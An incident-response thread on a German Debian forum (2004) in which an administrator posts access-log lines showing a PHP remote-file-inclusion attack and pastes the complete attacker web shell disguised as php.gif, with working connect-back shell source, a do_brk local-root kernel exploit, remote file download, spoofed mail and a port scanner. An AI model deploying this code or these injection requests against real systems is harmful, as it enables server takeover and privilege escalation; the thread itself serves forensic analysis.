r0nin Backdoor // Hacker Attacke

Einrichten des lokalen Netzes, Verbindung zu anderen Computern und Diensten.
Erzlord Caron
Beiträge: 444
Registriert: 17.07.2003 15:55:41

r0nin Backdoor // Hacker Attacke

Beitrag von Erzlord Caron » 09.08.2004 13:28:35

Hallo,
hatte grade einen Hackangriff auf einem woodyserver, nun ist eine Backdoor namens r0nin installiert, die auf Port 1666 lauscht.
Backups laufen hier sehr langsam, deshalb komme ich nciht ganz schnell zu einer Neuinstallation.
Wie kann ich das Ding vorerst am effektivsten töten.

Weiterhin habe ich ncoh keine AHnung, wie die reingekommen sind, habe auch nicht grade große Ahnung von Computerforensik.... habe allerdings mit schrecken festgestellt, dass noch Kernel 2.4.18 installiert war. Gibt es da bekannte Exploits, vermutlich ohne bekanntem Useraccount?
Alle Ports außer ein paar Standarddienste (SMTP, POP, IMAP, HTTP, alle in aktuellen Woody Versionen) waren dicht
Zuletzt geändert von Erzlord Caron am 09.08.2004 14:19:35, insgesamt 1-mal geändert.

Erzlord Caron
Beiträge: 444
Registriert: 17.07.2003 15:55:41

Beitrag von Erzlord Caron » 09.08.2004 13:30:18

Update: der r0nin läuft mit Rechten des www-data, Veränderungen sind nur in den Websiten zu finden.
Ich würde annehemn, dass die Jungs über den Webserver rein sind, und in seinem Kontext hängengeblieben...

Die Executeable der Backdoor liegt im /var/tmp

Erzlord Caron
Beiträge: 444
Registriert: 17.07.2003 15:55:41

Beitrag von Erzlord Caron » 09.08.2004 13:38:41

Code: Alles auswählen

r./apache/access.log:200.158.8.50 - - [08/Aug/2004:23:30:04 +0200] "GET /index.php?show=http://ciber.locais.port5.com/php.gif?&cmd=cd%20/var/tmp;chmod%20777%20r0nin HTTP/1.1" 200 5735 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
./apache/access.log:200.158.8.50 - - [08/Aug/2004:23:30:23 +0200] "GET /index.php?show=http://ciber.locais.port5.com/php.gif?&cmd=cd%20/var/tmp;./r0nin HTTP/1.1" 200 5764 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

debian:/var/log# grep -r r0nin .
./apache/access.log:200.158.8.50 - - [08/Aug/2004:23:30:04 +0200] "GET /index.php?show=http://ciber.locais.port5.com/php.gif?&cmd=cd%20/var/tmp;chmod%20777%20r0nin HTTP/1.1" 200 5735 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
./apache/access.log:200.158.8.50 - - [08/Aug/2004:23:30:23 +0200] "GET /index.php?show=http://ciber.locais.port5.com/php.gif?&cmd=cd%20/var/tmp;./r0nin HTTP/1.1" 200 5764 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Und so ist es drauf gekommen. Fehlkonfiguration? Bug? Und vor allem, was kann bei so einem Vorgehen passiert sein?

Benutzeravatar
juesken
Beiträge: 89
Registriert: 04.08.2004 12:44:37
Wohnort: Leopolds'Hölle

Beitrag von juesken » 09.08.2004 14:33:34

also...

da das Prog r0nin nur im /var/tmp-Verzeichnis findest, würd ich erstmal ein
killall -9 r0nin machen, um den zu stoppen. dann würd ich den Webserver stoppen (z.b. mit /etc/init.d/apachectl stop, damit die nicht den angriff wieder holen können.

Dann wäre es sinnvoll die Log-Dateien vom Webserver irgendwie in READ-ONLY zu sichern, um sie später zu analysieren, schließlich wissen wir nicht, was der da noch so alles geändert hat.

evt. sollten wir ein Komplett-Backup der Partionen machen, kannste auch in einer älteren LinuxMagazin-Ausgabe (ich glaub 10/03 oder so) nachlesen.

Aber vor allem würd ich mich ma, nach dem Durchforsten der Log-Datei auf die Suche machen, wo das Loch ist, nen Update wäre dafür auch nicht schlecht, das aber evt. erst später, nachdem alles notwendige erkannt wurde.

Für mich sieht das Loch nach nem PHP-Fehler aus. haste irgendwie PHPNUKE oder so laufen?

meld mich gleich wieder
bn

Benutzeravatar
juesken
Beiträge: 89
Registriert: 04.08.2004 12:44:37
Wohnort: Leopolds'Hölle

Beitrag von juesken » 09.08.2004 14:41:19

So kurz noch rechachiert:

in der Ausgabe 09/2003 und 10/2003 der LinuaMagazins wird von der Sicherung berichtet. Leider ist das noch nicht online verfügbar, müsstes es dir wohl, wenn du es nicht, wie ich, sammelst, nachbestellen.

mfg bn

Erzlord Caron
Beiträge: 444
Registriert: 17.07.2003 15:55:41

Beitrag von Erzlord Caron » 09.08.2004 14:47:18

die schritte bin ich alle schon gegangen, danke.
außewrdem habe ich der gründlichkeithalber die backdoor umbenannt und das ausführrecht entfernt.
mit etwas genugtuung habe ich gesehen, dass die zugriffsversuche auf die backdoor an der firewall abgeprallt sind.

das loch, mit dem sie gestartet wurde, ist offenbar die nciht abgefange show Variable, über die eine externe Seite eingeschleust werden konnte. Was mir noch nciht klar ist, ist, wie diese r0nin-Datei ins /var/tmp Verzeichnis gekommen ist.
In den Logs sieht man nciht, dass sie direkt runtergeladen wurde.
Allerdings enthält die eingebundene Datei offenbar C-Code.

Könnte das jemand mit mehr Ahnung als ich mal überfliegen?

Code: Alles auswählen

<CENTER>
<DIV STYLE="font-family: verdana; font-size: 25px; font-weight: bold; color: #666666;">[:: CMD ::]</DIV>
<DIV STYLE="font-family: verdana; font-size: 10px; font-weight: bold; color: #999999;">[:: By: O_Psicopata_ ::]</DIV>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #cccccc;">[:: Informações Da Página ::]</DIV>
<?php

 
  closelog( );

  $dono = get_current_user( );
  $ver = phpversion( );
  $login = posix_getuid( );
  $euid = posix_geteuid( );
  $gid = posix_getgid( );
  if ($chdir == "") $chdir = getcwd( );

?>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">
<?php

  $uname = posix_uname( );
  while (list($info, $value) = each ($uname)) {

?>
  <TR>
    <TD width="457"><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD>
  </TR>

<?php
  }
?>
 
  <TR>
   <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;">Você Essta Logado Nesse Servidor Como: <?= $dono ?></DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;">Versão Do PHP: <?= $ver ?></DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;">Informações Uteis: uid (<?= $login ?>) euid (<?= $euid ?>) gid (<?= $gid ?>)</DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;">Caminho Atual: <?= $chdir ?></DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;">IP Do Servidor: <?php $aaa =  gethostbyname($SERVER_NAME);  echo $aaa;?></DIV></TD>
  </TR>
   <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;">Essa Página Está Usando: <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
  </TR>

</TABLE>
<BR>
<?php

  if ($cmd != "") {
    echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b>[+] Comandos Iniciados [+]</b> </DIV>";

?>

<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #cccccc;">[:: Respostas Dos Comandos ::]</DIV>
<?php

if ($fe == 1){
$fe = "exec";
}
if ($fe == ""){
$fe = "passthru";
}
if ($fe == "2"){
$fe = "system";
}

    if (isset($chdir)) @chdir($chdir);

    ob_start( );
      $fe("$cmd  2>&1");
      $output = ob_get_contents();
    ob_end_clean( );

?>
  <p>
    <TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 10px;">
<?php

    if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?>

</TEXTAREA>
    <BR>
    <b><font face="Verdana" size="1" color="#CCCCCC">#<font color="#666666">H4ck3rsBr</font> - <font color="#666666">irc.brasnet.org</font></font></b></p>
	
  <font face="Verdana" size="1" color="#CCCCCC"><b>Code by <font color="#666666">Cr4shyng</font> 
  of <font color="#666666">Datacha0s</font> and modify by <font color="#666666">O_Psicopata_</font> of <font color="#666666">H4ck3rsBr</font></b></font></font> 
  <p> 
    <?php

  }
 
  if ($safemode != "") {
    echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b>[+] Comandos Iniciados [+]</b> </DIV>";

?>
  </p>
  <DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #cccccc;">[:: Lista Dos Diretorios ::]</DIV>

<?php

    if ($dir = @opendir($chdir)) {
      echo "<TABLE border=1 cellspacing=1 cellpadding=0>";
      echo "<TR>";
      echo "<TD valign=top>";
      echo "<b><font size=2 face=arial>List All Files</b> <br><br>";
      while (($file = readdir($dir)) !== false) {
        if (@is_file($file)) {
          $file1 = fileowner($file);
          $file2 = fileperms($file);
    	  echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>"; 
	  // echo "<font color=green>$file1 - $file2 - $file </font><br>";
          flush( );
        }
      }

      echo "</TD>";
      echo"<TD valign=top>";
      echo "<b><font size=2 face=arial>List Only Folders</b> <br><br>";
      if ($dir = @opendir($chdir)) {
        while (($file = readdir($dir)) !== false) {
          if (@is_dir($file)) {
            $file1 = fileowner($file);
            $file2 = fileperms($file);
	    echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>"; 
            // echo "<font color=blue>$file1 - $file2 - $file </font><br>";
          }
        }
      }
      echo "</TD>";
      echo"<TD valign=top>";
      echo "<b><font size=2 face=arial>List Writable Folders</b><br><br>";
      if ($dir = @opendir($chdir)) {

        while (($file = readdir($dir)) !== false) {
          if (@is_writable($file) && @is_dir($file)) {

            $file1 = fileowner($file);
            $file2 = fileperms($file);
            echo "<font color=red>$file1 - $file2 - $file </font><br>";
          }
        }
      }
      echo "</TD>";
      echo "</TD>";
      echo "<TD valign=top>";
      echo "<b><font size=2 face=arial>List Writable Files</b> <br><br>";
 
      if ($dir = opendir($chdir)) {
        while (($file = readdir($dir)) !== false) {
          if (@is_writable($file) && @is_file($file)) {
            $file1 = fileowner($file);
            $file2 = fileperms($file);
    	    echo "<font color=red>$file1 - $file2 - $file </font><br>";
          }
        }
      }
      echo "</TD>";
      echo "</TR>";
      echo "</TABLE>";
    }
  }

?>

<?php

  if ($shell == "write") {
    $shell = "#include <stdio.h>\n" .
             "#include <sys/socket.h>\n" .
             "#include <netinet/in.h>\n" .
             "#include <arpa/inet.h>\n" .
             "#include <netdb.h>\n" .
             "int main(int argc, char **argv) {\n" .
             "  char *host;\n" .
             "  int port = 80;\n" .
             "  int f;\n" .
             "  int l;\n" .
             "  int sock;\n" .
             "  struct in_addr ia;\n" .
             "  struct sockaddr_in sin, from;\n" .
             "  struct hostent *he;\n" .
             "  char msg[ ] = \"Welcome to H4ck3rsBr Connect Back Shell\\n\\n\"\n" .
             "                \"Issue \\\"export TERM=xterm; exec bash -i\\\"\\n\"\n" .
             "                \"For More Reliable Shell.\\n\"\n" .
             "                \"Issue \\\"unset HISTFILE; unset SAVEHIST\\\"\\n\"\n" .
             "                \"For Not Getting Logged.\\n(;\\n\\n\";\n" .
             "  printf(\"Seu Backdoor Foi Conectado Com Exito\\n\\n\");\n" .
             "  if (argc < 2 || argc > 3) {\n" .
             "    printf(\"Usage: %s [Host] <port>\\n\", argv[0]);\n" .
             "    return 1;\n" .
             "  }\n" .
             "  printf(\"[*] Dumping Arguments\\n\");\n" .
             "  l = strlen(argv[1]);\n" .
             "  if (l <= 0) {\n" .
             "    printf(\"[-] Host Invalido\\n\");\n" .
             "    return 1;\n" .
             "  }\n" .
             "  if (!(host = (char *) malloc(l))) {\n" .
             "    printf(\"[-] Unable to Allocate Memory\\n\");\n" .
             "    return 1;\n" .
             "  }\n" .
             "  strncpy(host, argv[1], l);\n" .
             "  if (argc == 3) {\n" .
             "    port = atoi(argv[2]);\n" .
             "    if (port <= 0 || port > 65535) {\n" .
             "      printf(\"[-] Numero da Porta Invalido\\n\");\n" .
             "      return 1;\n" .
             "    }\n" .
             "  }\n" .
             "  printf(\"[*] Resolving Host Name\\n\");\n" .
             "  he = gethostbyname(host);\n" .
             "  if (he) {\n" .
             "    memcpy(&ia.s_addr, he->h_addr, 4);\n" .
             "  } else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {\n" .
             "    printf(\"[-] Unable to Resolve: %s\\n\", host);\n" .
             "    return 1;\n" .
             "  }\n" .
             "  sin.sin_family = PF_INET;\n" .
             "  sin.sin_addr.s_addr = ia.s_addr;\n" .
             "  sin.sin_port = htons(port);\n" .
             "  printf(\"[*] Conectando...\\n\");\n" .
             "  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n" .
             "    printf(\"[-] Erro\\n\");\n" .
             "    return 1;\n" .
             "  }\n" .
             "  if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {\n" .
             "    printf(\"[-] Unable to Connect\\n\");\n" .
             "    return 1;\n" .
             "  }\n" .
             "  printf(\"[*] Spawning Shell\\n\");\n" .
             "  f = fork( );\n" .
             "  if (f < 0) {\n" .
             "    printf(\"[-] Unable to Fork\\n\");\n" .
             "    return 1;\n" .
             "  } else if (!f) {\n" .
             "    write(sock, msg, sizeof(msg));\n" .
             "    dup2(sock, 0);\n" .
             "    dup2(sock, 1);\n" .
             "    dup2(sock, 2);\n" .
             "    execl(\"/bin/sh\", \"shell\", NULL);\n" .
             "    close(sock);\n" .
             "    return 0;\n" .
             "  }\n" .
             "  printf(\"[*] Detached\\n\\n\");\n" .
             "  return 0;\n" .
             "}\n";

    $fp = fopen("/tmp/dc-connectback.c", "w");
    $ok = fwrite($fp, $shell);

    if (!empty($ok)) {
      echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Connect Back Shell Was Successfuly Copied</DIV>";
    } else {
      echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Copying Shell</DIV>";
    }
  }

  if ($kernel == "write") {
    $kernel = "/*\n" .
              " * hatorihanzo.c\n" .
              " * Linux kernel do_brk vma overflow exploit.\n" .
              " *\n" .
              " * The bug was found by Paul (IhaQueR) Starzetz <paul@isec.pl>\n" .
              " *\n" .
              " * Further research and exploit development by\n" .
              " * Wojciech Purczynski <cliph@isec.pl> and Paul Starzetz.\n" .
              " *\n" .
              " * (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.\n" .
              " *\n" .
              " * COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE\n" .
              " * OF PRESENTED CODE IS STRICTLY PROHIBITED.\n" .
              "*/\n" .
              "#define _GNU_SOURCE\n" .
              "#include <stdio.h>\n" .
              "#include <stdlib.h>\n" .
              "#include <errno.h>\n" .
              "#include <string.h>\n" .
              "#include <unistd.h>\n" .
              "#include <fcntl.h>\n" .
              "#include <signal.h>\n" .
              "#include <paths.h>\n" .
              "#include <grp.h>\n" .
              "#include <setjmp.h>\n" .
              "#include <stdint.h>\n" .
              "#include <sys/mman.h>\n" .
              "#include <sys/ipc.h>\n" .
              "#include <sys/shm.h>\n" .
              "#include <sys/ucontext.h>\n" .
              "#include <sys/wait.h>\n" .
              "#include <asm/ldt.h>\n" .
              "#include <asm/page.h>\n" .
              "#include <asm/segment.h>\n" .
              "#include <linux/unistd.h>\n" .
              "#include <linux/linkage.h>\n" .
              "#define kB   * 1024\n" .
              "#define MB   * 1024 kB\n" .
              "#define GB   * 1024 MB\n" .
              "#define MAGIC             0xdefaced /* I should've patented this number -cliph */\n" .
              "#define ENTRY_MAGIC 0\n" .
              "#define ENTRY_GATE 2\n" .
              "#define ENTRY_CS    4\n" .
              "#define ENTRY_DS    6\n" .
              "#define CS          ((ENTRY_CS << 2) | 4)\n" .
              "#define DS          ((ENTRY_DS << 2) | 4)\n" .
              "#define GATE        ((ENTRY_GATE << 2) | 4 | 3)\n" .
              "#define LDT_PAGES   ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE)\n" .
              "#define TOP_ADDR    0xFFFFE000U\n" .
              "/* configuration */\n" .
              "unsigned     task_size;\n" .
              "unsigned     page;\n" .
              "uid_t        uid;\n" .
              "unsigned     address;\n" .
              "int dontexit = 0;\n" .
              "void fatal(char * msg)\n" .
              "{\n" .
              "      fprintf(stderr, \"[-] %s: %s\\n\", msg, strerror(errno));\n" .
              "      if (dontexit) {\n" .
              "             fprintf(stderr, \"[-] Unable to exit, entering neverending loop.\\n\");\n" .
              "             kill(getpid(), SIGSTOP);\n" .
              "             for (;;) pause();\n" .
              "      }\n" .
              "      exit(EXIT_FAILURE);\n" .
              "}\n" .
              "void configure(void)\n" .
              "{\n" .
              "      unsigned val;\n" .
              "      task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;\n" .
              "      uid = getuid();\n" .
              "}\n" .
              "void expand(void)\n" .
              "{\n" .
              "      unsigned top = (unsigned) sbrk(0);\n" .
              "      unsigned limit = address + PAGE_SIZE;\n" .
              "      do {\n" .
              "             if (sbrk(PAGE_SIZE) == NULL)\n" .
              "                   fatal(\"Kernel seems not to be vulnerable\");\n" .
              "             dontexit = 1;\n" .
              "             top += PAGE_SIZE;\n" .
              "      } while (top < limit);\n" .
              "}\n" .
              "jmp_buf jmp;\n" .
              "#define MAP_NOPAGE 1\n" .
              "#define MAP_ISPAGE 2\n" .
              "void sigsegv(int signo, siginfo_t * si, void * ptr)\n" .
              "{\n" .
              "      struct ucontext * uc = (struct ucontext *) ptr;\n" .
              "      int error_code = uc->uc_mcontext.gregs[REG_ERR];\n" .
              "      (void)signo;\n" .
              "      (void)si;\n" .
              "      error_code = MAP_NOPAGE + (error_code & 1);\n" .
              "      longjmp(jmp, error_code);\n" .
              "}\n" .
              "void prepare(void)\n" .
              "{\n" .
              "      struct sigaction sa;\n" .
              "      sa.sa_sigaction = sigsegv;\n" .
              "      sa.sa_flags = SA_SIGINFO | SA_NOMASK;\n" .
              "      sigemptyset(&sa.sa_mask);\n" .
              "      sigaction(SIGSEGV, &sa, NULL);\n" .
              "}\n" .
              "int testaddr(unsigned addr)\n" .
              "{\n" .
              "      int val;\n" .
              "      val = setjmp(jmp);\n" .
              "      if (val == 0) {\n" .
              "             asm (\"verr (%%eax)\" : : \"a\" (addr));\n" .
              "             return MAP_ISPAGE;\n" .
              "      }\n" .
              "      return val;\n" .
              "}\n" .
              "#define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE)\n" .
              "#define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned))\n" .
              "#define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)\n" .
              "void map(unsigned * map)\n" .
              "{\n" .
              "      unsigned addr = task_size;\n" .
              "      unsigned bit = 1;\n" .
              "      prepare();\n" .
              "      while (addr < TOP_ADDR) {\n" .
              "             if (testaddr(addr) == MAP_ISPAGE)\n" .
              "                   *map |= bit;\n" .
              "             addr += PAGE_SIZE;\n" .
              "             next(map, bit);\n" .
              "      }\n" .
              "      signal(SIGSEGV, SIG_DFL);\n" .
              "}\n" .
              "void find(unsigned * m)\n" .
              "{\n" .
              "      unsigned addr = task_size;\n" .
              "      unsigned bit = 1;\n" .
              "      unsigned count;\n" .
              "      unsigned tmp;\n" .
              "      prepare();\n" .
              "      tmp = address = count = 0U;\n" .
              "      while (addr < TOP_ADDR) {\n" .
              "             int val = testaddr(addr);\n" .
              "             if (val == MAP_ISPAGE && (*m & bit) == 0) {\n" .
              "                   if (!tmp) tmp = addr;\n" .
              "                   count++;\n" .
              "             } else {\n" .
              "                   if (tmp && count == LDT_PAGES) {\n" .
              "                          errno = EAGAIN;\n" .
              "                          if (address)\n" .
              "                                fatal(\"double allocation\\n\");\n" .
              "                          address = tmp;\n" .
              "                   }\n" .
              "                   tmp = count = 0U;\n" .
              "             }\n" .
              "             addr += PAGE_SIZE;\n" .
              "             next(m, bit);\n" .
              "      }\n" .
              "      signal(SIGSEGV, SIG_DFL);\n" .
              "      if (address)\n" .
              "             return;\n" .
              "      errno = ENOTSUP;\n" .
              "      fatal(\"Unable to determine kernel address\");\n" .
              "}\n" .
              "int modify_ldt(int, void *, unsigned);\n" .
              "void ldt(unsigned * m)\n" .
              "{\n" .
              "      struct modify_ldt_ldt_s l;\n" .
              "      map(m);\n" .
              "      memset(&l, 0, sizeof(l));\n" .
              "      l.entry_number = LDT_ENTRIES - 1;\n" .
              "      l.seg_32bit = 1;\n" .
              "      l.base_addr = MAGIC >> 16;\n" .
              "      l.limit = MAGIC & 0xffff;\n" .
              "      if (modify_ldt(1, &l, sizeof(l)) == -1)\n" .
              "             fatal(\"Unable to set up LDT\");\n" .
              "      l.entry_number = ENTRY_MAGIC / 2;\n" .
              "      if (modify_ldt(1, &l, sizeof(l)) == -1)\n" .
              "             fatal(\"Unable to set up LDT\");\n" .
              "      find(m);\n" .
              "}\n" .
              "asmlinkage void kernel(unsigned * task)\n" .
              "{\n" .
              "      unsigned * addr = task;\n" .
              "      /* looking for uids */\n" .
              "      while (addr[0] != uid || addr[1] != uid ||\n" .
              "             addr[2] != uid || addr[3] != uid)\n" .
              "             addr++;\n" .
              "      addr[0] = addr[1] = addr[2] = addr[3] = 0;    /* uids */\n" .
              "      addr[4] = addr[5] = addr[6] = addr[7] = 0;    /* uids */\n" .
              "      addr[8] = 0;\n" .
              "      /* looking for vma */\n" .
              "      for (addr = (unsigned *) task_size; addr; addr++) {\n" .
              "             if (addr[0] >= task_size && addr[1] < task_size &&\n" .
              "                 addr[2] == address && addr[3] >= task_size) {\n" .
              "                   addr[2] = task_size - PAGE_SIZE;\n" .
              "                   addr = (unsigned *) addr[3];\n" .
              "                   addr[1] = task_size - PAGE_SIZE;\n" .
              "                   addr[2] = task_size;\n" .
              "                   break;\n" .
              "             }\n" .
              "      }\n" .
              "}\n" .
              "void kcode(void);\n" .
              "#define __str(s) #s\n" .
              "#define str(s) __str(s)\n" .
              "void __kcode(void)\n" .
              "{\n" .
              "      asm(\n" .
              "             \"kcode:                                \\n\"\n" .
              "             \"     pusha                            \\n\"\n" .
              "             \"     pushl %es                        \\n\"\n" .
              "             \"     pushl %ds                        \\n\"\n" .
              "             \"     movl   $(\" str(DS) \") ,%edx      \\n\"\n" .
              "             \"     movl   %edx,%es                  \\n\"\n" .
              "             \"     movl   %edx,%ds                  \\n\"\n" .
              "             \"     movl   $0xffffe000,%eax          \\n\"\n" .
              "             \"     andl   %esp,%eax                 \\n\"\n" .
              "             \"     pushl %eax                       \\n\"\n" .
              "             \"     call   kernel                    \\n\"\n" .
              "             \"     addl   $4, %esp                  \\n\"\n" .
              "             \"     popl   %ds                       \\n\"\n" .
              "             \"     popl   %es                       \\n\"\n" .
              "             \"     popa                             \\n\"\n" .
              "             \"     lret                             \\n\"\n" .
              "      );\n" .
              "}\n" .
              "void knockout(void)\n" .
              "{\n" .
              "      unsigned * addr = (unsigned *) address;\n" .
              "      if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1)\n" .
              "             fatal(\"Unable to change page protection\");\n" .
              "      errno = ESRCH;\n" .
              "      if (addr[ENTRY_MAGIC] != MAGIC)\n" .
              "             fatal(\"Invalid LDT entry\");\n" .
              "      /* setting call gate and privileged descriptors */\n" .
              "      addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU);\n" .
              "      addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;\n" .
              "      addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */\n" .
              "      addr[ENTRY_CS+1] = 0x00cf9a00U;\n" .
              "      addr[ENTRY_DS+0] = 0x0000ffffU; /* user   4GB code at 0x00000000 */\n" .
              "      addr[ENTRY_DS+1] = 0x00cf9200U;\n" .
              "      prepare();\n" .
              "      if (setjmp(jmp) != 0) {\n" .
              "             errno = ENOEXEC;\n" .
              "             fatal(\"Unable to jump to call gate\");\n" .
              "      }\n" .
              "      asm(\"lcall $\" str(GATE) \",$0x0\");      /* this is it */\n" .
              "}\n" .
              "void shell(void)\n" .
              "{\n" .
              "      char * argv[] = { _PATH_BSHELL, NULL };\n" .
              "      execve(_PATH_BSHELL, argv, environ);\n" .
              "      fatal(\"Unable to spawn shell\\n\");\n" .
              "}\n" .
              "void remap(void)\n" .
              "{\n" .
              "      static char stack[8 MB];  /* new stack */\n" .
              "      static char * envp[] = { \"PATH=\" _PATH_STDPATH, NULL };\n" .
              "      static unsigned * m;\n" .
              "      static unsigned b;\n" .
              "      m = (unsigned *) sbrk(map_size);\n" .
              "      if (!m)\n" .
              "             fatal(\"Unable to allocate memory\");\n" .
              "      environ = envp;\n" .
              "      asm (\"movl %0, %%esp\\n\" : : \"a\" (stack + sizeof(stack)));\n" .
              "      b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;\n" .
              "      if (munmap((void*)b, task_size - b) == -1)\n" .
              "             fatal(\"Unable to unmap stack\");\n" .
              "      while (b < task_size) {\n" .
              "             if (sbrk(PAGE_SIZE) == NULL)\n" .
              "                   fatal(\"Unable to expand BSS\");\n" .
              "             b += PAGE_SIZE;\n" .
              "      }\n" .
              "      ldt(m);\n" .
              "      expand();\n" .
              "      knockout();\n" .
              "      shell();\n" .
              "}\n" .
              "int main(void)\n" .
              "{\n" .
              "      configure();\n" .
              "      remap();\n" .
              "      return EXIT_FAILURE;\n" .
              "}\n";

    $fp = fopen("/tmp/xpl_brk.c", "w");
    $ok = fwrite($fp, $kernel);
    
    if (!empty($ok)) {
      echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Linux Local Kernel Exploit Was Successfuly Copied</DIV>";
    } else {
      echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Copying Kernel Exploit</DIV>";
    }
  }

?>

</CENTER>
<pre><font face="Tahoma" size="2">
<?php

// Function to Visualize Source Code files 
if ($see != "") {
  $fp = fopen($see, "r"); 
  $read = fread($fp, 30000); 
  echo "============== $see ================<br>";
  echo "<textarea name=textarea cols=80 rows=15>"; 
  echo "$read"; 
  Echo "</textarea>"; 
}

// Function to Dowload Local Xploite Binary COde or Source Code

if ($dx != "") {
  $fp = @fopen("$hostxpl",r);
  $fp2 = @fopen("$storage","w");
  fwrite($fp2, "");
  $fp1 = @fopen("$storage","a+");
  for (;;) {
    $read = @fread($fp, 4096);
    if (empty($read)) break;
    $ok = fwrite($fp1, $read);
    
    if (empty($ok)) {
      echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\">[-] An Error Has Ocurred While Uploading File</DIV>";
      break;
    }
  }

  if (!empty($ok)) {
    echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\">[*] File Was Successfuly Uploaded</DIV>";
  }
}

flush( );

// Function to visulize Format Color Source Code PHP

if ($sfc != "") {
  $showcode = show_source("$sfc");
  echo "<font size=4> $showcode </font>";
}

// Function to Visualize all infomation files
if ($fileinfo != "") {
  $infofile = stat("$fileanalize");
  while (list($info, $value) = each ($infofile)) {
    echo" Info: $info  Value: $value <br>";
  }
}

// Function to send fake mail
if ($fake == 1) {
  echo "<FORM METHOD=POST ACTION=\"$SCRIPT_NAME?$QUERY_STRING&send=1\">";
  echo "Your Fake Mail <INPUT TYPE=\"\" NAME=\"yourmail\"><br>";
  echo "Your Cavy:<INPUT TYPE=\"\" NAME=\"cavy\"><br>";
  echo "Suject: <INPUT TYPE=\"text\" NAME=\"subject\"><br>";
  echo "Text: <TEXTAREA NAME=\"body\" ROWS=\"\" COLS=\"\"></TEXTAREA><br>";
  echo "<INPUT TYPE=\"hidden\" NAME=\"send\" VALUE=\"1\"><br>";
  echo "<INPUT TYPE=\"submit\" VALUE=\"Send Fake Mail\">";
  echo "</FORM>";
}

if($send == 1) {
  if (mail($cavy, $subject, $body, "From: $yourmail\r\n")) {
    echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\">[+] Seu Email Foi Enviado Com Exito [+]</DIV>";
  } else {
    echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\">[-] Nao Foi Possivel Enviar Seu Email</DIV>";
  }
}

if ($portscan != "") {
  $port = array ("21","22","23","25","110",);
  $values = count($port);
  for ($cont=0; $cont < $values; $cont++) {
    @$sock[$cont] = Fsockopen($SERVER_NAME, $port[$cont], $oi, $oi2, 1);
    $service = Getservbyport($port[$cont],"tcp");
    @$get = fgets($sock[$cont]);
    echo "<br>Port: $port[$cont] - Service: $service<br><br>";
    echo "<br>Banner: $get <br><br>";
    flush();
  }
}

?> 

</font></pre> 

Zuletzt geändert von Erzlord Caron am 09.08.2004 14:53:48, insgesamt 1-mal geändert.

Benutzeravatar
juesken
Beiträge: 89
Registriert: 04.08.2004 12:44:37
Wohnort: Leopolds'Hölle

Beitrag von juesken » 09.08.2004 14:51:26

ich denke dazu solltest du mal die Zeilen davor in der Log-datei betrachten.

Eine übliche Taktik ist das schrieben und danach starten eines scriptes, welches über wget oder ftp eine Datei herrunter lädt...

mfg bn

Erzlord Caron
Beiträge: 444
Registriert: 17.07.2003 15:55:41

Beitrag von Erzlord Caron » 09.08.2004 15:30:58

ich habe schon mein ganzes logverzeichnis nach "r0nin" durchgegrept, leider nichts gefunden, und ebenfalls nach der IP..

Benutzeravatar
pdreker
Beiträge: 8298
Registriert: 29.07.2002 21:53:30
Lizenz eigener Beiträge: MIT Lizenz
Wohnort: Nürnberg

Beitrag von pdreker » 09.08.2004 15:37:06

